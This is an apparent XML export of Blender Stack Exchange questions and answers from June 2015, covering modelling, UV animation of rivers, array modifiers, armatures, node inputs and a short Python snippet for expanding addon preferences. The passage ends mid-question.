  <row Id="32211" PostTypeId="2" ParentId="32210" CreationDate="2015-06-10T12:23:12.473" Score="5" Body="&lt;p&gt;when you delete a vertex the path order gets lower ( can't have order greater than number of vertices and the max is 6 )&#xA;so just change the spline order back to 3 or higher and it will be smooth again :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9KSq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-06-10T12:23:12.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32212" PostTypeId="1" CreationDate="2015-06-10T13:11:35.060" Score="1" ViewCount="23" Body="&lt;p&gt;I am modeling a architecture environment in blender and everything was working fine but must have accidently hit a hot key that I was not aware of. Now when I go to manipulate an object whether it be just moving it around, extruding or grabbing a vertex(face or edge) it now jumps to a full blender unit before moving and so on and so forth. I was wondering if anyone knew how I could change it back to the smooth fluid motion of before?&lt;/p&gt;&#xA;" OwnerUserId="14912" LastEditorUserId="2217" LastEditDate="2015-06-10T13:40:41.297" LastActivityDate="2015-06-10T13:40:41.297" Title="Manipulation jumps full blender unit" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;snapping&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-10T14:35:33.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="32214" PostTypeId="1" AcceptedAnswerId="32216" CreationDate="2015-06-10T14:55:25.383" Score="3" ViewCount="2788" Body="&lt;p&gt;How would I create a simple but nice looking river? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even a small creek or stream of water i just want to know some good ways of doing this!&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="894" LastEditDate="2015-06-10T17:07:18.470" LastActivityDate="2015-06-11T03:14:05.267" Title="How can I create a flowing, rippling water surface effect that follows the curves of a river mesh?" Tags="&lt;animation&gt;&lt;uv&gt;&lt;modifiers&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2015-06-11T13:38:44.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="32216" PostTypeId="2" ParentId="32214" CreationDate="2015-06-10T15:06:23.303" Score="9" Body="&lt;p&gt;One of the tricky things about rivers is how to animate the water ripples along the path of the curving river. The best way that I have found to do this is by &lt;strong&gt;adding a Displacement Modifier set to UV texture coordinates and using a Noise/Cloud texture&lt;/strong&gt; as well as &lt;strong&gt;UV unwrapping the mesh first before extrusion&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two important secrets to this technique. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;One is &lt;strong&gt;UV unwrapping the river water mesh as a straight line first&lt;/strong&gt; before you alter it to fit the river shape. If you start with a plane, unwrap it right away, then the UV map will stay straight even if you extrude the plane edges to form the curved river shape.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/75ssE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Secondly, you need to &lt;strong&gt;enable the AnimAll addon so that you can&#xA;animate the UV map&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkFQF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you do that you can set two keyframes for&#xA;    the UV map and then animate it moving from top to bottom. In the Tools panel on the left, choose the Animation tab (after enabling the AnimAll addon). Select the UV checkbox, and click the Insert keyframe button at the appropriate frames after moving the UV map.&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNLz7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will&#xA;    move the texture image along the river and will also move the&#xA;    displacement along the river. Once your UV's are set and animated you can use those texture coordinates for material textures or displacement modifier textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iv7bR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a test scene using this technique:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFPgQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-10T17:02:00.643" LastActivityDate="2015-06-10T17:02:00.643" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32218" PostTypeId="1" CreationDate="2015-06-10T15:27:13.073" Score="2" ViewCount="816" Body="&lt;p&gt;I have generated a maze: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top view in wireframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hU3ao.png&quot; alt=&quot;[Top view in wireframe]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solid view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6Qnb.png&quot; alt=&quot;[Solid view]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a game I'm making, I need the enemy to follow the player around the maze, but when I try to generate a navigation mesh, nothing happens. (It says theres a Navmesh, but it doesn't seem to be made.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastEditorUserId="1245" LastEditDate="2015-06-10T15:46:40.903" LastActivityDate="2018-05-22T11:43:52.543" Title="How to add a working navigation mesh and path finding to a maze in blender game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32219" PostTypeId="1" CreationDate="2015-06-10T15:32:22.643" Score="1" ViewCount="1820" Body="&lt;p&gt;I have imported a VRML model into Blender 2.74 with concentric shells made of polygon faces, each layer of shell is a distinct diffuse color. I am hoping to select faces by their color, then apply translucency or transparency to partly reveal the shell of another color within. I thought python would be a good approach, but when I try bpy.ops.object.select_... I don't see a method to select by color.&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2020-09-20T10:13:15.617" Title="How can I select faces by color with Python?" Tags="&lt;python&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32220" PostTypeId="2" ParentId="32202" CreationDate="2015-06-10T15:41:35.153" Score="8" Body="&lt;p&gt;Simplest way is switching to &lt;em&gt;Edit Mode&lt;/em&gt; and &lt;strong&gt;moving the mesh&lt;/strong&gt; instead of moving the object in &lt;em&gt;Object Mode&lt;/em&gt;, thus the &lt;strong&gt;origin stays in place&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VrGQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Select&lt;/em&gt; the object&lt;/li&gt;&#xA;&lt;li&gt;Toggle to &lt;em&gt;Edit Mode&lt;/em&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;A&lt;/kbd&gt; to make sure all vertices/edges/faces are selected&lt;/li&gt;&#xA;&lt;li&gt;Move the mesh via &lt;em&gt;Grab/Move&lt;/em&gt; &lt;kbd&gt;G&lt;/kbd&gt; &lt;strong&gt;or&lt;/strong&gt; simply use the &lt;em&gt;3d Manipulators&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In order to get &lt;strong&gt;precise control&lt;/strong&gt; about moving the mesh, also see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15571/is-there-a-shortcut-or-hotkey-that-i-could-use-to-access-the-transform-panel-of/15572#15572&quot;&gt;Is there a shortcut or hotkey that I could use to access the Transform panel of the properties shelf in the 3D viewport?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7099/how-do-i-rotate-and-scale-edges-in-edit-mode/7101#7101&quot;&gt;How do I rotate and scale edges in Edit Mode?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7491/constrain-to-any-2-axes-during-transform/7492#7492&quot;&gt;Constrain to any 2 axes during transform?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-06-10T19:30:45.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32221" PostTypeId="1" AcceptedAnswerId="32222" CreationDate="2015-06-10T14:18:26.960" Score="1" ViewCount="627" Body="&lt;p&gt;I'm making a short animation and I would like to fit an array on a curve. But the array isn't as long as the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LvHhl.png&quot; alt=&quot;array on curve&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9684" OwnerDisplayName="Johnny" LastEditorUserId="241" LastEditDate="2015-06-10T15:46:40.487" LastActivityDate="2015-06-12T00:43:09.923" Title="Mesh array on curve" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32222" PostTypeId="2" ParentId="32221" CreationDate="2015-06-10T15:47:51.237" Score="2" Body="&lt;p&gt;There's a fit curve option in the array modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKGSm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use this, how ever long the curve is, the array amount will always change to match it. Make sure you apply the scale of both object, or it won't work.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-06-12T00:43:09.923" LastActivityDate="2015-06-12T00:43:09.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32223" PostTypeId="2" ParentId="32219" CreationDate="2015-06-10T15:49:51.223" Score="4" Body="&lt;p&gt;You don't need python here. Go to edit mode select a face with your desired color, press &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; and choose &lt;code&gt;Material&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can also choose a material in the properties editor and hit select below, to select all faces assigned to that material.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2015-06-10T15:49:51.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32224" PostTypeId="2" ParentId="30420" CreationDate="2015-06-10T15:55:39.497" Score="3" Body="&lt;p&gt;You may consider using other better suited software for your purposes. &lt;a href=&quot;http://en.wikipedia.org/wiki/MeshLab&quot; rel=&quot;nofollow&quot;&gt;MeshLab&lt;/a&gt; has several functions to compare meshes or clouds of points. Another choice would be &lt;a href=&quot;http://en.wikipedia.org/wiki/CloudCompare&quot; rel=&quot;nofollow&quot;&gt;CloudCompare&lt;/a&gt;. Both are open source projects with a large user base.&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2015-06-10T15:55:39.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32225" PostTypeId="2" ParentId="30420" CreationDate="2015-06-10T16:09:25.727" Score="1" Body="&lt;p&gt;Another approach in Blender would be to use the physics engine while in Blender Render mode. You could orient the first half of the broken object such that its broken face was facing upward in the positive Z direction. Select the physics tab in the tool bar and add it as a passive object. Orient the second half of the broken object above it, with the candidate face facing downward. Set this half to active. The default rigid body world gravity settings will pull the second half into the first and try to settle the pieces together. Make sure the collision boundaries are using the 'mesh' setting to get good fidelity of the contact surfaces. Once it is settled, you might use some of the other answers regarding measuring the distance between meshes to come up with a root mean squared metric to decide how well they fit.&lt;/p&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2015-06-10T16:09:25.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32226" PostTypeId="1" CreationDate="2015-06-10T16:12:56.610" Score="1" ViewCount="28" Body="&lt;p&gt;I have an idea for an operator that uses the contents of a text buffer as part of its input (for a trivial case, imagine an operator that creates a polyline from &lt;code&gt;[ f(q) for q in range(0,100) ]&lt;/code&gt; where f is defined in python inside the text buffer) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to even begin to code this operator.  I can't think of any existing operators that use text buffers as input.  Without knowing which text buffer has the data, the operator can't do any work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can an Operator prompt the user to select a text buffer?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-10T16:12:56.610" Title="How do I create an Operator which requires the user to select a text buffer before it does any work?" Tags="&lt;operator&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32228" PostTypeId="2" ParentId="28816" CreationDate="2015-06-10T16:23:51.053" Score="0" Body="&lt;p&gt;The viewport has several ways of displaying your scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;During modelling&lt;/em&gt; you might use Solid Shading, Material Shading,  Wireframe, or even GLSL (matcap) shading can be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Reflectivity&lt;/em&gt; can only be seen (June 2015) in Rendered Viewport mode, this works for Cycles and Blender Internal engines, these options can give you a quick approximation of what the final render will look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDvGt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-06-10T16:23:51.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32230" PostTypeId="2" ParentId="32221" CreationDate="2015-06-10T16:52:15.650" Score="1" Body="&lt;p&gt;You could try to match the origins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the curve. Enter 'Edit Mode', by &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the starting vertex (where the arrows point in the direction of the curve)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, 'Cursor to Selected'&lt;/li&gt;&#xA;&lt;li&gt;Exit 'Edit Mode', by &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;(While curve selected), &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, 'Origin to 3D Cursor'&lt;/li&gt;&#xA;&lt;li&gt;Select the array, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, 'Origin to 3D Cursor'&lt;/li&gt;&#xA;&lt;li&gt;(While array selected) press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter 'Edit Mode', press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, press &lt;kbd&gt;A&lt;/kbd&gt; (once or twice to select everything), 'Selection to Cursor (offset) and exit 'Edit Mode', by &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could try to play with the 'Deformation Axis' in the Curve modifier as well&lt;/p&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-10T16:52:15.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32231" PostTypeId="1" AcceptedAnswerId="32234" CreationDate="2015-06-10T17:01:38.427" Score="3" ViewCount="94" Body="&lt;p&gt;Im Trying To Learn How To Animate Movement with Armatures but all i can seem to do is move the armatures and not the actual mesh.&lt;/p&gt;&#xA;" OwnerUserId="8412" LastActivityDate="2015-06-11T03:15:13.463" Title="How Do I Use Armatures , I cannot get them to work with my meshes" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-06-12T07:13:37.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="32232" PostTypeId="2" ParentId="32221" CreationDate="2015-06-10T17:05:11.727" Score="0" Body="&lt;p&gt;I think the problem is your Array modifier is operating on the Z axis and your Curve modifier is set to deform on the X axis. Can you change your Array modifier to operate on the X axis instead. This is assuming all object rotations have been applied.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-10T17:05:11.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32233" PostTypeId="1" CreationDate="2015-06-10T17:31:41.463" Score="1" ViewCount="3933" Body="&lt;p&gt;I am following this tutorial - &lt;a href=&quot;https://www.youtube.com/watch?v=il7ajiCepus&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=il7ajiCepus&lt;/a&gt;&#xA;(note at the 3:12 mark in the video is where the step I need help is) &#xA;I need to put a logo onto a trophy I made in Blender. I am following all the way to the point where in the tutorial he says to switch the mapping to UV. But I dont see a &quot;mapping&quot; window like his. I have Image Mapping, but no plain Mapping window. I really need help to get this done. I am on a deadline for a championship football game film. I got the trophy all set, I only need to get it textured and get this logo on there and I can finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xWeuQ.png&quot; alt=&quot;missing mapping window&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14919" LastEditorUserId="3078" LastEditDate="2015-06-10T21:07:05.533" LastActivityDate="2018-04-03T20:51:30.243" Title="Where is the image Mapping tab?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32234" PostTypeId="2" ParentId="32231" CreationDate="2015-06-10T17:45:08.343" Score="4" Body="&lt;p&gt;The easiest way is to parent the mesh to the armature with Automatic Weights, and then adjust the weights later on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the mesh (Object Mode), and then select the armature&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;, and then select 'Automatic weights'. Now Blender assigned weights to the mesh and parented them to the bones of the armature, depending on how the bones and mesh are relatively located.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To modify the weights:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You could select the armature and enter 'pose mode', by &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then you select the mesh and enter 'Weight paint mode', by &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;. Now you can select a bone, while you can edit the weight paints of the mesh using the brush&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-06-10T17:45:08.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32235" PostTypeId="2" ParentId="32141" CreationDate="2015-06-10T17:49:31.333" Score="2" Body="&lt;p&gt;Whether an addon is displayed expanded or not in the &lt;em&gt;User Preferences&lt;/em&gt; is stored in the &lt;code&gt;bl_info&lt;/code&gt; dictionary, in the property called &lt;code&gt;show_expanded&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;addon_utils&lt;/code&gt; manages a cache of addons. It uses the global &lt;code&gt;addons_fake_modules&lt;/code&gt;. It can be used to determine and change the expand state:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import addon_utils&#xA;&#xA;# Get a module reference by name&#xA;mod = addon_utils.addons_fake_modules.get(&quot;space_view3d_3d_navigation&quot;)&#xA;&#xA;# If found, expand it&#xA;if mod is not None:&#xA;    mod.bl_info['show_expanded'] = True&#xA;&#xA;    # Find User Preferences area and redraw it&#xA;    for window in bpy.context.window_manager.windows:&#xA;        for area in window.screen.areas:&#xA;            if area.type == 'USER_PREFERENCES':&#xA;                area.tag_redraw()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that running this code as part of an addon is tricky, see e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/API_Changes#Restricted_Context&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/18134/1363&quot;&gt;https://blender.stackexchange.com/a/18134/1363&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-06-10T17:49:31.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32236" PostTypeId="1" AcceptedAnswerId="32242" CreationDate="2015-06-10T19:33:56.233" Score="4" ViewCount="2578" Body="&lt;p&gt;I know in a lot of node setups, people use the image texture's color output as a mix factor. How does Cycles use an image texture to do this? Does it use the brightness in particular parts of the image to represent different numerical values? How does that translate, and how can it represent different amounts of these values on different parts of the mesh?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="3078" LastEditDate="2015-06-10T21:02:34.983" LastActivityDate="2016-03-08T10:09:40.570" Title="How are color images used as input values in nodes?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32239" PostTypeId="2" ParentId="13644" CreationDate="2015-06-10T20:15:29.927" Score="3" Body="&lt;p&gt;I don't know if you have solved your problem, but, I had the same situation of  your. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to offset the entire linked objects animation, but it don't appear in the NLA panel without make proxies. In my case, my rosource file has more than 50 animated objects, it's impracticable to make proxies of each one and then offset each nla strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solutions was:&#xA;When you thing in animation in Blender, think in armatures! Do not animate objects, animate bones! I've changed my resources files and add one armature to each one. Each object is child of one bone, and the animation is made on the bone. Therefore, when you link your resource, you make only one proxy (the armature) and only one nla offset (the armature's nla).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that I've helped&lt;/p&gt;&#xA;" OwnerUserId="14284" LastActivityDate="2015-06-10T20:15:29.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32240" PostTypeId="1" CreationDate="2015-06-10T20:48:43.337" Score="5" ViewCount="170" Body="&lt;p&gt;So I'm starting to use Yafaray for my projects, but I noticed it doesn't support Blender's particle system yet.&#xA;I heard someone say that the best way to have those particle systems to render in Yafa would be to convert them all to meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, for mesh-heavy systems like grass, for instance, it would hog tons of memory and crash to convert it to pure mesh (this won't happen using cycles or BI, since the particle system feature has ways to control the amount of children on viewport vs. rendered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative workable way to have those particles on Yafaray?&lt;/p&gt;&#xA;" OwnerUserId="5042" LastEditorUserId="3078" LastEditDate="2015-06-10T20:55:39.150" LastActivityDate="2015-11-07T08:22:23.560" Title="How to use particles in Yafaray" Tags="&lt;particles&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32241" PostTypeId="2" ParentId="32233" CreationDate="2015-06-10T21:13:27.163" Score="4" Body="&lt;p&gt;This is because you're using Cycles, but the tutorial you linked is for Blender Internal Render. You can switch to BI by going to the 3D view's header and, to the left of the Blender logo, using the combo box to select &lt;em&gt;Blender Render&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LhhK4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-06-10T21:13:27.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32242" PostTypeId="2" ParentId="32236" CreationDate="2015-06-10T21:14:34.260" Score="6" Body="&lt;p&gt;You're correct, it uses brightness. Or rather, luminance.&#xA;The color output contains three values, &lt;code&gt;R&lt;/code&gt; &lt;code&gt;G&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt;. When a color output (yellow socket) is plugged into a scalar input (gray socket), it is automatically converted as if using an &lt;a href=&quot;http://blender.org/manual/compositing/types/converter/rgb_to_bw.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;RGB to BW&lt;/em&gt;&lt;/a&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this can be observed by plugging an image texture into a math node set to multiply by 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksCdf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before multiplying the values, the &lt;code&gt;R&lt;/code&gt; &lt;code&gt;G&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt; channels are turned into a single grayscale channel. Since we're multiplying by 1, the values are unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same as the more &quot;proper&quot; method of using a &lt;em&gt;RGB to BW&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCx6M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default blender converts the &lt;code&gt;R&lt;/code&gt; &lt;code&gt;G&lt;/code&gt; &lt;code&gt;B&lt;/code&gt; channels to a single channel while trying to preserve the luminance (see &lt;a href=&quot;http://en.wikipedia.org/wiki/Grayscale#Converting_color_to_grayscale&quot; rel=&quot;nofollow noreferrer&quot;&gt;wikipedia&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, the RGB to BW node does something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TnEFS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the color channels are converted to a single channel, this can be used to set the mix factor for each pixel (using just the mix factor slider is equivalent to using a solid color image). See &lt;a href=&quot;https://blender.stackexchange.com/q/10595/599&quot;&gt;How does fac differ with manual control versus node control?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use images with very specific values, then you'll want to pay close attention to color management. See: &lt;a href=&quot;https://blender.stackexchange.com/q/4866/599&quot;&gt;What exactly does the &amp;quot;Non-color data&amp;quot; option for image/environment textures do?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2016-03-08T01:12:29.990" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32243" PostTypeId="1" AcceptedAnswerId="32266" CreationDate="2015-06-10T22:17:10.030" Score="1" ViewCount="103" Body="&lt;p&gt;I have no idea why this is happening, I revised everything I made (all the logic) to make sure nothing was &quot;odd.&quot; I have a simple prop (&quot;active&quot;), all it does is the following: if it is true, the object is visible, if it is false, the object is invisible. &lt;em&gt;Works&lt;/em&gt;, right? &lt;strong&gt;No&lt;/strong&gt;, it &lt;em&gt;does not work&lt;/em&gt;! I have no idea why. It always used to work, but suddenly it stopped. I have another object (weapon) with the &lt;strong&gt;exact&lt;/strong&gt; same logic, and that one works. Can anyone tell me &lt;em&gt;why&lt;/em&gt; this possibly is happening? Also, when I start the scene and &lt;em&gt;the object is visible when the property is false&lt;/em&gt;, it can be fixed by toggling the prop to false, then back to true. The problem with this is that I need the object to be invisible &lt;strong&gt;at the start&lt;/strong&gt; and not after I toggle the prop on and off till it &lt;em&gt;works&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: Here is what I think the problem &lt;em&gt;really&lt;/em&gt; is: at the &lt;em&gt;very start&lt;/em&gt; of the game engine (as soon as I hit &quot;P&quot;, it is visible when it is not supposed to be &lt;em&gt;unless&lt;/em&gt; I toggle the property a couple of times. In other words, why is it 